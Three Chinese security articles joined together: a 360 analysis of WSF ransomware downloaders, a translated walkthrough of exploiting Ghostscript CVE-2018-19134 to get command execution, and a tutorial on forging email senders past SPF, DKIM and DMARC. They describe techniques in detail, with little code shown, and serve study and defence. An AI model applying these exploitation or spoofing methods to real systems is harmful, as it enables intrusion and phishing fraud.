md5: **14ccd0ca163af2ada8f1ce821bad2c5a**
sha256:
[058702d4746b6f8f5b5449b41c54bda782c5e90d418e7ce46b65bf74b0d2b1f0](https://www.virustotal.com/intelligence/search/?query=38a87a5836c8dbdb8d66acab7f657a06#sha256)
****
图 1：样本1
此样本主要通过字符拆分的方式进行混淆，对字符进行拼接解密后的主要代码如图2所示。
样本将pe文件内容以base64编码方式存放到变量v_bin中，pe文件的保存路径为环境变量TEMP目录，文件名为一个随机生成值jP0imKulZoR，后缀名为“.exe”。
样本首先通过函数JSb将v_bin变量内容以文本的方式保存到本地，为求简单文件保存路径是在将要保存的pe文件路径基础上加上后缀名“.bin”。然后通过函数JGr4对上一步骤所产生的临时文件进行操作。此函数首先以ASCII格式打开文件，然后利用MSXml2.DOMDocument对读取的base64编码内容进行解码，最后利用ADODB.Stream将解码后的内容以二进制的方式保存到本地。最后样本会利用WScript.Shell运行此pe文件，pe文件的运行参数为“321”。
****
图 2：解密后的样本1
针对此类样本，目前360杀毒已经支持查杀，扫描结果如图3所示。
图 3：360杀毒扫描结果
**0x02** **下载器方式**
通过下载器方式传播是将wsf脚本文件当作一个下载器，然后通过此下载器从黑客的远程服务器上下载并本地执行真正的敲诈者病毒。
下面就结合样本2对此传播方式进行分析，样本信息如下所示。
样本文件md5: 14ccd0ca163af2ada8f1ce821bad2c5a
sha256: 025309a768d4aacf9a2515beafa08418fe8483a37dc06535e8ec63db22493b5a
virustotal 扫描结果:
****
图 4：样本2的vt扫描结果
通过vt扫描结果可以看出，目前只有6家安全厂商对其支持查杀，说明此样本在某些方面必定有它的神奇之处，下面就让我们一起揭开它的神秘面纱。
图 5：样本2
分析此样本可以看出，它将真正要执行的代码放到一个变量aXTv9中，然后使用eval函数对代码进行混淆，对文件进行解密并进行整理可以得到如图6所示结果。
图 6：解密后的样本2
分析解密后的样本，可以看到为了能够确保病毒下载到用户的电脑中，病毒作者真的是一番别有用心啊。为了防止单个链接的失效，样本首先将要下载的pe文件内容存放到三个不同的url中（见第1行代码No变量的定义）；然后采用轮询的方式对三个url依次尝试下载（见代码第15行）；为了预防出现网络环境不稳定的情况，它对网络请求返回状态进行判断，如果出现异常则sleep
100毫秒后继续下一次循环下载（见代码第18-20行）。
为了确保用户电脑中下载的是完整的敲诈者病毒，样本还对pe文件进行了信息校验，此功能通过函数YPg4和XPz5完成。
图 7：YPg4函数
由于要读取二进制文件，所以样本利用了ADODB.Stream对象，并使用437编码方式打开文件，然后在Fw函数中对字符的编码进行相应的转换。
图 8：XPz5函数
然后样本通过XPz5函数对获取的数据进行变换，数据校验和提取真正的敲诈者病毒。它首先将从远程获取数据的每个字节与189进行按位异或操作，然后利用所获取数据的最后4个字节对pe文件进行校验，也就是说文件的最后四个字节并不是真正pe文件内容，而是一些附加的信息。
到此病毒作者好像还是担心下载到的敲诈者病毒出现文件大小不正确，或者文件头信息被破坏而出现的病毒无法运行的情况。因此他对文件的大小和pe文件头进行了判断（见图6第33行），如果文件大小小于100Kb，或者大于230Kb，或者文件的前两个字节不是0x4D和0X5A，则进行下一次循环。pe文件头检测被封装到了函数OFu5中，函数如图11所示。
图 9：PE文件头判断
图 10：使用cc_on编译条件免杀
在此类样本中，为了增加杀毒软件查杀的难度，有些病毒作者还引入了/*@cc_on
@*/条件编译，病毒核心的代码被放入到了此编译条件中，如果杀毒软件对此类情况缺少处理，则很容易实现反查杀的目的，样本如图10所示。
**0x03** **总结**
以加密勒索为代表的病毒，由于经济上的利益驱动，不但病毒的进化速度越来越快，而且传播的方式也不断更新，因此用户一定要提高安全防范意识，对未知的邮件和文件不要贸然打开，并安装安全产品软件。针对此类样本，QEX(非PE病毒查杀引擎)通过虚拟执行有效查杀该病毒家族及其变种，360安全卫士、360杀毒等360安全产品中都已提供了QEX引擎，请用户及时安装使用。
**0x04 Reference**
<https://msdn.microsoft.com/library/15x4407c(v=VS.84).aspx>
[http://bobao.360.cn/learning/detail/2827.html](http://bobao.360.cn/learning/detail/2827.html)
[http://bobao.360.cn/learning/detail/2880.html](http://bobao.360.cn/learning/detail/2880.html)
[http://bobao.360.cn/news/detail/3302.html](http://bobao.360.cn/news/detail/3302.html) | 社区文章 |
# CVE-2018-19134：通过Ghostscript中的类型混淆来远程执行代码
|
##### 译文声明
本文是翻译文章，文章原作者 lgtm，文章来源：lgtm.com
原文地址：<https://lgtm.com/blog/ghostscript_CVE-2018-19134_exploit>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在这篇文章中，我将展示如何利用[CVE-2018-19134](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19134)漏洞远程执行任意代码。该漏洞是由类型混淆引起的。2018年11月，该漏洞被发现。如果你想了解更多关于QL技术相关文章，可以翻看我以前的[博客](https://lgtm.com/blog/ghostscript_typeconfusion)。
## 二、漏洞
我们先回顾一下这个漏洞，首先，PostScript对象的类型为结构体[ref_s](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/iref.h;h=0494aecf99ae052c2d9e9c86eb7483cec48a21a8;hb=a6da4c97bb99159269468d95daacdf11ab336187#l434)（或者为ref，ref是ref_s的别名），如下图所示：
该结构大小为16字节，其中tas_s类型占据前8个字节，包含的字段为类型信息以及数组，字符串，字典的大小。如下图所示：
我发现该漏洞触发的原因是[zsetcolor](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zcolor.c;h=74b428801eda5c75d70cf55e88c407484b554527;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l289)函数中缺少类型检查：在将其解释为gs_pattern_instance_t之前未进行pPatInst类型检查。如下图所示：
如下图所示，r_ptr是一个宏，被定义在[iref.h](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/iref.h;h=0494aecf99ae052c2d9e9c86eb7483cec48a21a8;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l598)文件中：
pstruct的值源自PostScript，因此由用户控制。例如，setpattern的输入将造成pPatInst.value.pstruct的值为0x41。如下所示：
将代码放入[pattern_instance_uses_base_space](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/zcolor.c;h=74b428801eda5c75d70cf55e88c407484b554527;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l80)后，我看到我控制了一个指针对象，代码将其解释为gs_pattern_instance_t指针，如下所示：
所以我可以控制许多函数指针：get_pattern，uses_base_space和pinst。
**创建一个伪造的对象**
PostScript类型数组非常重要，因为它的值指向ref数组开头的ref指针。并允许我创建一个缓冲区进行存储，我可以控制缓冲区内容，如下所示：
如上图，灰色部分表示我可以控制部分数据（我无法完全控制type_attrs和pad），绿色部分是我可以完全控制的数据。其中关键点是，refs中的值和gs_pattern_instance_t中的type都是8个字节，意味着pinst->
type->
procs中的procs将是部分被我控制的底层PostScript数组。事实证明，我确实可以通过使用嵌套数组来控制函数指针get_pattern和uses_base_space：
[16#41 [16#51 16#52]]的结果如下所示：
这表明我确实可以控制uses_base_space和get_pattern，下一步，如何使用任意函数指针来实现代码执行。
我决定先获取一些有效的函数指针，在Ghostscript中，内置的PostScript运算符由[t_operator](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/iref.h;h=0494aecf99ae052c2d9e9c86eb7483cec48a21a8;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l185)类型表示，ref的值是一个op_proc_t，它是一个[函数指针](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/iref.h;h=0494aecf99ae052c2d9e9c86eb7483cec48a21a8;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l415)。可以通过下面的命令获得：
让我们尝试在我们伪造的数组中加入一些内置函数，如下所示：
我将使用以下指令：systemdict <foo> get <arr> exch <idx> exch
put。该指令可以从systemdict中获取foo，并将其存储在索引为idx的数组中。
实际上，我现在可以直接调用zget函数和zput函数来替代uses_base_space和get_pattern，如下所示：
我现在可以调用PostScript中的函数并控制函数的参数，当从PostScript调用底层C函数时，执行上下文作为参数传递给C函数，该上下文类型为[i_ctx_t](http://git.ghostscript.com/?p=ghostpdl.git;a=blob;f=psi/icstate.h;h=4c6a14d44e957e7c6a3a8d7584cba59e98aec587;hb=5a4fec2a34af925993192e197ab666fe542b79d3#l45)（gs_context_state_s的别名），包含许多无法通过PostScript控制的信息，其中包括重要的安全设置，如LockFilePermissions，如下所示：
当从PostScript调用操作符时，传递的参数存储在op_stack中，通过直接调用这些函数并控制参数i_ctx_p。
我们尝试创建一个PostScript数组来伪造i_ctx_t对象，PostScript函数参数存储在i_ctx_p->
op_stack.stack.p中，这是一个指向参数的ref指针。为了使用伪造的上下文调用PostScript函数，我需要控制p。从p到i_ctx_p的偏移量实际上与op_stack的偏移量相同，即0x270。由于每个ref的大小为0x10，所以对应伪造数组的第39个元素。
从上图可以看出，这种对齐并不理想，op_stack.stack.p对应数组的tas部分，我无法完全控制，如果只有op_stack对应的ref值，我便能成功控制。另外，tas存储了ref的元数据，即使我完全控制，也无法在不知道其地址的情况下将其设置为任意对象地址。因此，任何漏洞利用很可能只会在此时崩溃在Ghostscript中。
**获取任意的读写原语**
我想找到一个符合下列条件的PostScript函数：
1.引用osp（op_stack.stack.p）指针
2.使用osp指针做一些事情
3.可在SAFER模式下使用
我想到了pop运算，如下所示：
它使用check_op检查堆栈指针的值，并将osp与指针osbot进行比较，如果大于osbot，则减小osp的值，这是一个简单的函数，并且不会取消引用osp。我们先仔细研究一下ref和op_stack的结构，如下图所示：
回顾我们之前提到的东西，在我们伪造的对象中，op_stack是ref数组的第39个元素，如上图，字段tas对应p，而value对应osbot。type_attrs，_padd和rsize三个字段组合在一起形成op_stack中的指针p。如之前提到的，type_attrs指定ref对象的类型及其可访问性。通过pop函数，我可以修改选择对象的类型和可访问性。但问题在于，pop只有在p大于osbot时才有效，osbot是ref对象的地址。所以我篡改的对象需要是一个足够大的字符串，数组或字典。以便于rsize字段大于大多数ref对象的指针地址。我无法仅修改systemdict等内置只读对象的可访问性以获得写权限。但是，我可以做以下事情：
1.我可以使用将数组转换为字符串的方法，将内部引用数组视为字节数组，因为PostScript中的字符串不是由空字符终止，而是由rsize指定的长度。因此任何字节都可以从缓冲区读/写。值得注意的是，这样做并不会产生任何越界读/写，因为结果字符串具有与原始数组相同的长度，生成的字节缓冲区仅覆盖ref数组分配缓冲区的1/16。
2.我也可以反过来做，将一个字符串转换成一个相同长度的数组。如上所述，生成的ref数组将比原始字符串数组大16倍，这样我可以进行OOB读写，但我没有这么做。
我还需要克服另一个技术难题，伪造对象，pinst实际上调用了两个函数，如下所示，一个函数输出到另一个：
如上所示，use_base_space的返回值是pinst-> type->
procs.get_pattern（pinst）。现在，我们把zpop（pinst）作为输入。当我使用任何内置的PostScript运算符替代uses_base_space时，可能导致产生空指针。使zpop返回0。我需要找到一个不使用上下文指针i_ctx_p的操作。
下面是我进行的查找代码：
我的QL查询使用了一些启发式方法来识别PostScript运算符，它们的名称通常以z开头，并在psi目录中定义。它们也采用i_ctx_t
_类型的参数，然后，我查找不会取消引用参数的函数，该函数不会调用自身且不包含i_ctx_t_ 类型的变量。
您可以在LGTM.com上的130,000+的GitHub，Bitbucket和GitLab项目上运行自己的QL查询，您可以使用在[线查询控制台](https://lgtm.com/query)，也可以安装[QL
for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/install-plugin-free.html)插件并在本地快照上运行查询语句。Ghostscript不是在GitHub，Bitbucket或GitLab上开发的，因此LGTM.com尚未对其进行分析。
但是您可以在此处下载[Ghostscript代码快照](https://downloads.lgtm.com/snapshots/cpp/ghostscript/ghostscript/ghostscript-revision-2018-October-15--10-34-16.zip)。
查询后返回了6个结果：
如上图所示，ucache函数是我们所需要的。首先我们伪造pinst对象，如下所示：
现在我们需要创建一个大型数组对象并将其存储在pinst的第39个元素中。它的元数据tas将被解释为堆栈指针地址osp。我将使用PostScript中的put运算作为第一个元素，然后使用pop将类型更改为字符串并读取zput函数的地址。
不幸的是，数组的type_attrs值是0x4，而string的值是0x12。我必须使ushort下溢以从数组转换为字符串。所以我进行impl
setpattern操作1291次。
从上面的截图可以看出，伪造的数组被转换为字符串，我得到了zput的地址。我可以使用该方法将字节写入arr中的任何位置。
现在我可以从任意PostScript对象读取和写入任意字节。我最初的计划是覆盖LockFilePermissions参数，然后调用file，允许任意命令执行，如同[CVE-2018-19475](https://lgtm.com/blog/ghostscript_CVE-2018-19475)中的操作。然而，事实证明，我还需要伪造许多对象。这使工作变得复杂。相反，我仅仅想要调用一个简单但功能强大的函数，forceput操作能够满足我的需求。
总结一下，我需要做的事情：
1.使用forceput提供的参数创建一个伪造的操作数堆栈。
2.覆盖pinst中的地址，并将操作数堆栈指针的地址存储到我上面创建的堆栈中。
3.获取forceput的地址，并替换pinst-> type.procs.getpattern的值。
为了实现1，我只需要用我的参数创建一个数组。如下所示：
然后我可以将它存储在arr中以检索此数组的地址。重用pinst并将其放在第31个元素中：
使用上一节的技巧，我现在可以读取这个伪造堆栈指针的地址并将其写入pinst中的适当位置。我可以简单获取zput地址，并将其偏移量添加到zforceput以获取zforceput的地址（因为此偏移量不是随机的）。在使用commit
81f3d1e编译的调试二进制文件中，此偏移量为0x437，在9.25版本中，偏移量为0x4B0。执行此操作后，我可以将LockFilePermissions参数写入当前设备，然后运行任意shell命令。如下所示，是从Ghostscript中启动计算器的示意图。
通过覆盖userparams中的其他字段，如PermitFileReading和PermitFileWriting，还可以获得任意文件访问。至此，漏洞利用结束。 | 社区文章 |
# 邮件伪造组合拳
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Imanfeng
## 0x00 前言
此前进行邮件伪造，主要使用近似域名或者使用Smtp2go来进行发信绕过。上个月发现一个邮件伪造工具
[espoofer](https://github.com/chenjj/espoofer)，通过对工具和相关Paper的学习本文将以涉及的相关技巧展开。
* Black Hat USA 2020 slides (PDF): [You have No Idea Who Sent that Email: 18 Attacks onEmail Sender Authentication](http://i.blackhat.com/USA-20/Thursday/us-20-Chen-You-Have-No-Idea-Who-Sent-That-Email-18-Attacks-On-Email-Sender-Authentication.pdf)
* USENIX security 2020 paper (PDF): [Composition Kills: A Case Study of Email Sender Authentication](https://www.usenix.org/system/files/sec20fall_chen-jianjun_prepub_0.pdf)
由于某项目的开始月初搁置了文章整理，近日发出来与大家分享学习。
## 0x01 邮件传输
SMTP协议是基于TCP协议，也要进行三次握手
1. 建立连接
2. 传输数据
3. 断开连接
在邮件传输过程中会提到的两个From：
① MAIL FROM：在SMTP认证中代表是谁发的，后面统称Smtp.From；
② Message FROM：定义在邮件内容Header中，呈现给收件人的From字段，在后面统称Message.From
一个完整的发信简图如下，可以发现在原生SMTP整个过程中并没有任何身份校验的机制，HELO/MAIL FROM（Smtp.From）
以及From（Message.From）均是可控可定义的。
## 0x02 邮服防护
### SPF
主要作用是校验发信服务器IP地址，防止发件人欺骗
假设b.com邮件服务器收到了一封邮件，发送主机的 IP
是1.2.3.4，并且声称自己的Smtp.From字段为[[email protected]](mailto:[email protected])。为了确认发件人不是伪造的，邮件服务器b.com会去查询a.com的
SPF 记录。如果该域不存在SPF即随便伪造；如果存在 SPF 记录并且设置允许 IP 为1.2.3.4的主机发送邮件，则服务器就认为这封邮件是合法的，如果
IP 不在允许范围内，则大多数情况会显示为代发标识
### DKIM
主要作用是校验邮件标头签名信息，防止邮件内容篡改
在a.com的DNS上设置DKIM公钥，假设通过a.com发送邮件，邮件服务器使用提前配置的私钥加密邮件相对应内容，生成DKIM-Signature签名及相关信息插入到邮件标头中；当b.com邮件服务器收到了邮件时，通过DNS查询获得此前配置的对应公钥，验证邮件DKIM签名的有效性，从而确认在邮件发送的过程中邮件是否篡改
DKIM签名结构如下所示：
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
d=anxus.top; l=1850; s=selector; t=1452769712;
h=date:from:from:to:message-id:subject:mime-version;
bh=yCbsFBJJ9k2VYBxKGgyNILalBP3Yzn1N8cMPQr92+zw=;
b=bnuXrH/dSnyDR/kciZauK4HTgbcDbSFzmHR78gq+8Cdm20G56Ix169SA...
a：签名算法
c：用于对标头和正文的[算法规范化](https://tools.ietf.org/html/rfc4871#section-3.4)，simple&relaxed
d：是这一个域的签名。在DMARC检查签名中的域是否和发送者的域相匹配中用到
q：定义用于检索DKIM公钥的查询方法。它不必存在，默认为“ dns / txt”
s：在DNS中寻找RSA密钥的参数
h：应该包含在签名中的邮件头字段列表
bh：邮件正文的hash
b：是签名本身的核心，包括’h’给出的字段，以及DKIM-Signature头本身(视b=为空)
> public_key = dkim_find_key(q_val, d_val, s_val)
### DMARC
只有SPF与DKIM其实并不能真正对邮件的发件人进行身份验证：因为SPF只能对Smtp.From进行来源IP的验证，DKIM只能保证对应内容不被篡改，但收信人真正看见的字段是定义在邮件头中的Message.From，两者无法保证该字段是真实的。
故在2015年3月发布的文档[RFC
7489](https://tools.ietf.org/html/rfc7489)定义了DMARC，其中引入标识符对齐机制（Identifier
Alignment）：作用是确保通过SPF/DKIM校验的域名与Message.From发件人地址可以对齐匹配，从而保证最终用户看到的来源地址是真实可信的。
DMARC有两种对齐匹配机制：严格模式和宽松模式
* 严格模式，两个域必须相同才能彼此对齐，例如SPF标识符对齐Demo：
Smtp.From为：
[[email protected]](mailto:[email protected])
邮件头内容为：
From: [[email protected]](mailto:[email protected])
Date: Fri, Feb 15 2002 16:54:30 -0800
To: [[email protected]](mailto:[email protected])
Subject: Hi!
例如DKIM标识符对齐DEMO：
d=360.cn
邮件头内容为：
From: [[email protected]](mailto:[email protected])
Date: Fri, Feb 15 2002 16:54:30 -0800
To: [[email protected]](mailto:[email protected])
Subject: Hi!
* 宽松模式，两个组织域（主域名）相同时两个域即对齐，例如SPF表示符对齐Demo：
Smtp.From为
[[email protected]](mailto:[email protected])
邮件头内容为
From: [[email protected]](mailto:[email protected])
Date: Fri, Feb 25 2019 03:14:20 -1200
To: [[email protected]](mailto:[email protected])
Subject: Hi!
例如DKIM标识符对齐DEMO：
d=lintonlab.360.cn
邮件头内容为
From: [[email protected]](mailto:[email protected])
Date: Fri, Feb 25 2019 03:14:20 -1200
To: [[email protected]](mailto:[email protected])
Subject: Hi!
DMARC除了进行对齐校验外，还可以配置处理的策略，如下图所示：
p：用于告知收件方，当检测到某邮件存在伪造发件人的情况，收件方要做出什么处理：reject为拒绝该邮件；none为不作任何处理；quarantine为将邮件标记为垃圾邮件
sp：规定子域的处理策略
rua：发送综合反馈的邮件地址
ruf：发送消息详细故障信息的邮件地址
dkim：要求dmarc对于dkim的对齐标准
aspf：要求dmarc对于spf的对齐标准
邮件通过DMARC检测的流程如下图所示：
1.邮件发送
2.接收方从邮件中取出字段Message.From的domain
3.使用domain字段与SPF/DKIM的上述domain经过对齐校验（默认为宽松对齐）
4.SPF/DKIM均通过校验并且其domain通过对齐校验
5.通过DMARC校验，收到邮件
## 0x03 邮件绕过
正常发收件认证流程如下：
1.Alice定义内容发送邮件
2.SPF校验发送ip是否在DNS记录ip范围【HELO&MAIL FROM】
3.DKIM查询DNS中的公钥校验邮件头签名准确性【签名校验】
4.DMARC对齐校验【domain】
5.Bob收到邮件
**_最核心的思想就是利用不同组件传递过程中的差异性进行绕过_**
### Ⅰ.校验歧义性绕过
**① 不存在子域差异性**
关于SPF以及DMARC官方有特殊定义：
1.SMTP定义了身份标识符有HELO 和 MAILFROM(Smtp.From)
2.SPF同时检测HELO 和 MAILFROM，有一个失败即SPF校验失败
3.DMARC校验SPF时默认使用MAILFROM进行对齐，当MAILFROM为空会使用HELO进行对齐校验
利用流程（Espoofer – server_a1）：
1.HELO及MAIL FROM恶意字段如上图所示；
2.MAIL
FROM的域名字段是子域名并没有配置SPF，故进行SPF校验时是查询不到，但查询不到并不会被判断为SPF校验失败！与此同时HELO是可以通过SPF判断，故SPF通过；
3.DMARC优先使用Smtp.From的domain与Message.From的domain进行对齐，此时是可以通过宽松模式对齐的，故DMARC通过（没有强制要求严格模式对齐的情况下）。
这种绕过情况下由于Smtp.From与Message.From不一致，部分邮件接收方会进行一个代发提示，如下图所示：
此时可利用场景为，将子域名定义为mail、office等进行官方发件的伪装，前提是子域不存在SPF记录。apple.com的子域一直可以解析到spf记录，故此方法是无法绕过的
**② MAIL FROM置空差异性**
该利用点在于不同校验组件对”空”的Smtp.From字段处理方式不同（Espoofer – server_a2）：
1.部分SPF组件会将“([[email protected]](mailto:[email protected])”视为空的Smtp.From，那么就会转向对HELO进行SPF校验并且顺利通过；
2.到后面DMARC组件并不认为它是空地址，故会继续使用Smtp.From=legitimate.com与Message.From=legitimate.com进行对齐校验，故存在绕过SPF&DMARC的可能。
**③ 解析截断差异性**
该利用点在于不同校验组件会存在解析截断，从而造成差异性绕过：
利用流程（Espoofer – server_a3）：
1.攻击者在attack.com解析中添加公钥，构造DKIM头通过私钥加密需要加密的信息进行发送；
2.邮件服务器原本公钥构造应该为 **attack.com.\x00.any._domainkey.bank.com**
（s+[._domainkey.]+d）；
3.由于部分语言如C在解析过程中会存在\x00截断，导致接收方服务器处理后获取公钥的地址直接为attack.com，该内容可控故存在绕过。
### Ⅱ.认证头内容注入
这个绕过技巧主要在于SPF和DKIM组件如何将它们验证的结果信息传递给DMARC来进行对齐检查，思路的话就是想如何在通过DMARC的情况下让SPF/DKIM去验证我们可控的域名内容
**① DKIM 认证头内容注入**
1.如上图所示为攻击者发送的恶意邮件头内容，当DKIM校验内容时，拼接公钥内容地址为`selector._domainkey.legitimate.com(.
attacker.com` ，由于在attacker.com上读取故可控，从而可通过DKIM验证;
2.DKIM组件会生成验证头发送给DMARC进行对齐：
Authentication-results:victim.com;dkim=pass
(1024-bitkey)header.d=legitimate.com(.attacker.com
3.DMARC收到验证头内容后，会将`(`后面的内容作为注释，故将Message.From的legitimate.com与d=legitimate.com进行对齐匹配测试，从而通过校验。
> “(”, double (“) and single (’)均可作为注释。
**② SPF 认证头内容注入**
方案一（Espoofer – server_a5）
如图所示为：
1.当SPF校验内容时，Smtp.From的domain为`legitimate.com(.attacker.com`
，SPF去校验了`legitimate.com(.attacker.com`的SPF，内容可控故顺利通过SPF校验；
2.当进行DMARC校验时，同样会将`(`后视为注释，将Message.From的legitimate.com与Smtp.From的legitimate.com进行对齐匹配，从而通过DMARC匹配。
方案二（Espoofer – server_a6）
某些邮件服务器进行地址校验不允许方案一的地址格式，可换种格式如上图样例所示：
1.邮件服务器收到邮件会以第二个@作为分隔，故判断为合法邮件；
2.此时当SPF组件选择第一个@作为分隔所选的校验domain即为`legitimate.com'[@a](https://github.com/a
"@a").attack.com`，从而通过SPF校验；
3.当进行DMARC校验通过注释过后仍然可以通过对齐匹配。
### Ⅲ.UI相关差异绕过
我们把邮件接收处理的过程大致可以分为两个阶段
1.从MIME原始报文提取至Message.Header
2.从Message.Header提取出响应的domain以及email-address
故存在一种场景：邮件服务器和客户端所展示的信息经过不同的处理传递过程中可能会产生差异，从而在传递过程中造成绕过利用
**① 邮件头不一致性**
**多个发件人地址进行绕过**
根据RFC
5322表示一个邮件消息必须有一个Message.From，同样存在多个Message.From无效并且会被拒绝，但经测试实际上部分客户端是没有遵循上面说的拒绝邮件规则的：
(a) iCloud.com (Web)
在面对多Message.From的情况时，DMARC会验证其第一个Message.From并且给客户端展示的是最后一个Message.From，测试方法对应Espoofer
– server_a8；
(b)
Mail.ru的邮件服务器会拒接多个Message.From的情况，但是可以使用堆叠的空格可以进行绕过。随后其DMARC可以识别第一个Message.From来进行校验并在Outlook
(Windows) 上展现正确格式的第二个Message.From给客户端用户，测试方法对应Espoofer – server_a11；
(c) Fastmail.com的邮件服务器和Fastmail.com (Web)
无法成功识别空格，DMARC会校验格式正确的第一个Message.From，但Fastmail.com的邮件服务器在转发给Fastmail.com
(Web) 客户端时除去了空格，并展示给用户的是最后一个Message.From，测试方法对应Espoofer – server_a10。
**代替发件人地址进行绕过**
Sender字段定义为代发用户，Message.From的作用有两点：1.用于DMARC对齐
2.显示发件人，当邮件没有Message.From的时候，部分组件会找一些标识来代替Message.From：
(d) Naver.com的邮件服务器成功识别了堆叠的Message.From字段，但是在Outlook (Windows)
上面去无法展示堆叠的Message.From字段，此时会使用Sender来展示发件人，测试方法对应Espoofer – server_a12。
(f)
Gmail.com的邮件服务器有严格的格式校验会拒绝多Message.From字段的邮件并且当Message.From不存在时会使用Smtp.From来添加一个新的头。当攻击者使用带开头空格的Message.From作为第一个头，Resent-From标头作为备用标头并将Smtp.From置空的情况下，Gmail.com的邮件服务器会首先将空格开头的Message.From标头视为第一个FROM头，且顺利进行DMARC校验，随后插入一个身份验证的DMARC标签头，同时会将空格开头的Message.From也转发给Gmail.com
(Web)导致其不识别此Message.From而是显示Resent-From。
**② 邮件地址不一致性**
一个有效的Message.From头的结构图下：
* **Display Name** 显示名称是一个可选字段用于表示发件人名称，并不受SPF、DKIM、DMARC保护，常用作伪装发件人名称；
* **Comments** 注释在前面也有所提到，可以自由的插入打破From头中的许多地方，按照标准样例：`“From: Pete(A nice \) chap) ”` 同样是有效的地址；
* **Route portion** 路由部分是早期用于定义的功能，`@`为每个列表的开头，列表通过`,`分隔，最终以冒号结尾；
* **Real address** 真实地址代表真实发件人，@前面的部分是可以带引号或不带引号的字符串；
* **Multiple address lists** 发件人地址列表，可以定义多个满足有效的Message.From头的邮箱。
* **Quoted-pair** 当遇到特殊解释的字符，例如逗号或者引号，发件人可以使用`\`来转义；
* **Encoding** 期初SMTP在邮件头中只支持US-ASCII字符，RFC 2047定义了2中编码方式：B (Base64编码)和Q (带引号编码)格式为：`=?charset?encoding?encoded-text?=`
From: bob<[[email protected]](mailto:[email protected])> => From: =?utf-8?B?Ym9i?=<[[email protected]](mailto:[email protected])>
**服务器与客户端关于头文件内容解析的差异性**
1.Tutanota.com的邮件服务器只用第一个地址进行DMARC检测，而Web客户端显示只显示第二个地址（a）；
2.Yahoo.com、Outlook.com、iCloud.com、Fastmail、Zoho.com和Tutanota.com
的邮件服务器并不能识别编码地址从而用attack.com进行DMARC对齐检测，但是 Gmail.com (Web), Outlook.com (Web),
Yahoo.com (Web), Naver.com (Web), Mail (MacOS), Mail (Windows) and Mail
(iOS)的客户端是支持编码显示的，所以会显示第一个地址（b）；
3.Fastmail.com的邮件服务器不解析路由格式，会将attack.com视为真实地址进行DMARC对齐认证，而其web客户端会只显示第二个地址（c），其他也类似。
**其他问题**
**SPF，DKIM和DMARC通过依赖域查询进行发件人身份验证。如果无法获取域记录，则校验组件可能认为域未部署相应的安全机制从而跳过校验。**
1.不可见字符插入目标域地址
例如，Message.From为`From:[[email protected]](mailto:[email protected])\u2000`，Outlook.com
(Server)
会去`legitimate.com\u2000`进行DMARC策略查找并未发现DMARC对齐设置，并且web客户端会显示`legitimate.com`
2.编码目标域地址
例如，Message.From为`From:
base64encode([[email protected]](mailto:[email protected]))`，Yahoo.com
(Server) 同样回去编码地址进行DMARC策略查找，并且其web客户端会显示`legitimate.com`
3.From空绕过
例如，当From头为空但是Sender头存在，Outlook.com (Server)，Zoho.com (Server)以及Tutanota.com
(Server) 会跳过DMARC校验或者生成”none“结果传递给Message，但是他们的web客户端会显示Sender的地址。
### Ⅳ.重放攻击
DKIM的校验存在2个可以被利用的点
1.DKIM不能防止重放攻击
2.DKIM在一定情况下允许将其他电子邮件标头（在某些情况下甚至是正文内容）附加到原始邮件中
**结合这两个弱点，由合法域签名的邮件可以由重放的攻击者在不破坏DKIM签名的情况下添加恶意内容，并且通过DKIM处理与MUA表达不一致性进一步欺骗电子邮件客户端显示攻击者指定的内容。**
**① DKIM 签名重放**
**Header spoofing**
前面说了DKIM中的`h=`标签用于说明DKIM签名的字段，在RFC 6376中列出了应该签名的19个标头，但是只有From是强制签名的
1.存在不同域名设置的DKIM签名内容标准是不一样的情况，存在重放篡改的可能，如：
`aa.com`DKIM设置为`h=from`，故在重放的过程中可以修改未被校验的头，如直接设置一个`Content-Disposition:attachment;filename=ticket.jpg`头，则原始内容会被渲染为附件；
2.有时强制签名了关键字段防止篡改，但仍然存在DKIM组件以及客户端渲染的差异使重放的时候进行混淆的可能。在RFC 6376 §
5.4.2中指定了如果消息有多个重复的标头，则DKIM需要使用最后一个标头进行签名，但有的客户端在展示的时候往往会显示第一个标头。
**Body spoofing**
除了欺骗头之外，攻击者还可以通过利用DKIM-Signature标头中的可选`l
=`标签来欺骗电子邮件正文，该标签表示签名中包含的电子邮件正文的长度。例如，Google网上论坛通常会在每封转发的电子邮件的末尾附加退订信息。这种行为可能会破坏DKIM验证，这时就会使用`l
=`标签，此时重放攻击者就在不破坏DKIM签名的情况下将新的恶意内容附加到原始电子邮件正文中。
举例，如下图所示：
1.discover.com的签名中使用`l
=`的标记，并且Gmail服务器采用了重复标头的最后一个实例进行DKIM验证，故篡改的电子邮件通过了Gmail的DKIM验证；
2.当Gmail Web界面显示此消息时，它会使用攻击者定义的每行第二个MIME格式，并且仅显示攻击者篡改的内容。
**② 已有邮箱帐户欺骗**
当拥有一个想要伪造域名的账号密码时，可能会在使用自定义的MUA通过认证服务发送电子邮件的情况下存在身份绕过
Gmail.com (Server) 绕过为例：
1.攻击者拥有一个发送方user的账号密码
2.电子邮件提供端使用AUTH命令中携带的用户密码对MUA进行身份认证
3.电子邮件接收端会使用Message.From头`[[email protected]](mailto:[email protected])
\，<[[email protected]](mailto:[email protected])>`的第二个用户与MUA用户进行校验
4.通过验证，进行DKIM签名，并发送给对方邮件服务器
5.对方邮件服务器收到进行SPF、DKIM、DMRAC校验并顺利通过
该利用点主要在于如何更改Message.From头的格式让MUA顺利通过认证服务器的用户核实进行发信。
**③ 重放绕过DKIM签名**
通过拦截认证过DKIM的邮件并进行添加From、To头并进行重放，利用前面提到对重复头的差异性进行绕过（可以尝试对严格进行Message.From验证的进行绕过）
绕过过程如下：
